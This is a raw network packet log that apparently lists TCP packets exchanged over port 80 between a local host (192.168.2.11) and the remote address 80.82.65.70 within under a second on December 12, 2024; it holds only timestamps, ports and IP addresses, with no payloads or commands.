Dec 12, 2024 16:48:02.828807116 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.828866005 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.828907967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.828963041 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.829582930 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.829628944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.829638004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.829688072 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.830364943 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.830419064 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.830456018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.830600023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.831161976 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.831240892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.831279039 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.831348896 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.831923962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.831974983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.832019091 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.832068920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.832707882 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.832809925 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.832828045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.832932949 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.833497047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.833571911 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.833625078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.834278107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.834292889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.834326982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.834357977 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.889873028 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.889965057 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.889978886 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.890032053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.890197992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.890248060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.890338898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.890388966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.891002893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.891055107 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.891093969 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.891143084 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.891794920 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.891850948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.926253080 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.926326036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.926369905 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.926418066 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.926593065 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.926644087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.926794052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.926841021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.927406073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.927454948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.927464008 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.927506924 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.928191900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.928242922 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.928281069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.928335905 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.929099083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.929156065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.929250956 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.929363966 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.929757118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.929811954 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.929855108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.929908991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.930574894 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.930627108 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.930669069 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.930711031 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.931346893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.931416035 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.931521893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.931569099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.932153940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.932162046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.932219028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.932915926 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.932965994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.933005095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.933052063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.933667898 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.933742046 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.933772087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.933803082 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.934510946 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.934601068 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.934623957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.934681892 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.935272932 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.935342073 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.935415030 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.935488939 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.936044931 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.936110020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.936153889 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.936206102 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.936939955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.936992884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.937074900 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.937143087 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.937556982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.937608957 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.937635899 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.937690020 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.938355923 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.938404083 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.938452959 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.938504934 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.939162016 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.939244032 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.939275980 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.939344883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.939925909 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.939987898 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.940048933 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.940103054 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.940695047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.940757036 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:02.940757990 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:02.940835953 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.003963947 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.004024029 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.004036903 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.004129887 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.004312992 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.004437923 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.004462957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.004513979 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.005116940 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.005165100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.005249023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.005297899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.005902052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.005964994 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.006128073 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.006226063 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.006661892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.006720066 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.006722927 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.006779909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.007462978 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.007534027 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.007575035 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.007663012 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.008239985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.008306026 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.008347988 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.008404016 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.009002924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.009097099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.009130955 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.009210110 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.009809971 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.009901047 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.009922028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.009953976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.010552883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.010654926 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.010701895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.010808945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.011356115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.011440992 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.011470079 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.011535883 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.012144089 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.012207985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.012254000 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.012307882 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.012921095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.012989044 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.013027906 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.013084888 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.013755083 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.013794899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.013843060 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.013896942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.014520884 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.014589071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.014621973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.014672995 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.015290022 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.015347004 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.015476942 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.015527010 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.016072989 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.016129971 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.016175985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.016228914 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.016868114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.016916037 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.016976118 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.017627954 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.017679930 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.017745018 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.017795086 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.018470049 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.018527985 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.018565893 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.018625021 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.019251108 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.019344091 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.019423962 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.019491911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.020009995 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.020112991 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.020114899 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.020165920 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.020803928 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.020819902 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.020852089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.020884037 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.021562099 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.021615028 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.021657944 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.021712065 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.022335052 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.022386074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.022515059 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.022569895 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.023113012 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.023170948 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.023188114 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.023243904 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.023897886 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.023953915 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.024075985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.024125099 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.024698973 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.024771929 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.024966002 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.025016069 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.025499105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.025553942 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.025597095 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.025649071 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.026355982 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.026395082 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.026408911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.026472092 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.081820011 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.081882000 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.081926107 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.081974983 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.082279921 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.082334042 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.082371950 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.082436085 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.083039045 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.083092928 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.083139896 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.083189011 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.083760023 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.083812952 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.118607044 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.118670940 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.118746042 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.118789911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.118880033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.118886948 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.118933916 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.119784117 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.119848967 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.119851112 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.119915009 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.120434999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.120522022 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.120543957 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.120618105 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.121206999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.121264935 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.121324062 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.121395111 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.121987104 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.122050047 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.122056007 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.122174025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.122833967 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.122898102 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.122901917 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.122946978 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.123620033 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.123682976 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.123684883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.123737097 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.124311924 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.124355078 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.124430895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.124504089 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.125107050 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.125159025 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.125205994 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.125272036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.125936985 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.125992060 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.126068115 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.126117945 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.126671076 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.126740932 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.126815081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.126853943 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.127441883 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.127485991 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.127518892 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.127557993 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.128220081 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.128269911 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.128343105 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.128408909 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.128995895 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.129055023 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.129169941 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.129214048 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.129787922 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.129848003 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.129889965 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.129940987 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.130589008 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.130637884 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.130677938 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.130727053 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.131370068 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.131423950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.131541014 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.131587982 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.132148027 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.132195950 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.132205009 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.132266045 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.132932901 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.132997036 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.133074999 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.133114100 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.196154118 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.196227074 CET	49819	80	192.168.2.11	80.82.65.70
Dec 12, 2024 16:48:03.196254015 CET	80	49819	80.82.65.70	192.168.2.11
Dec 12, 2024 16:48:03.196358919 CET	49819	80	192.168.2.11	80.82.65.70
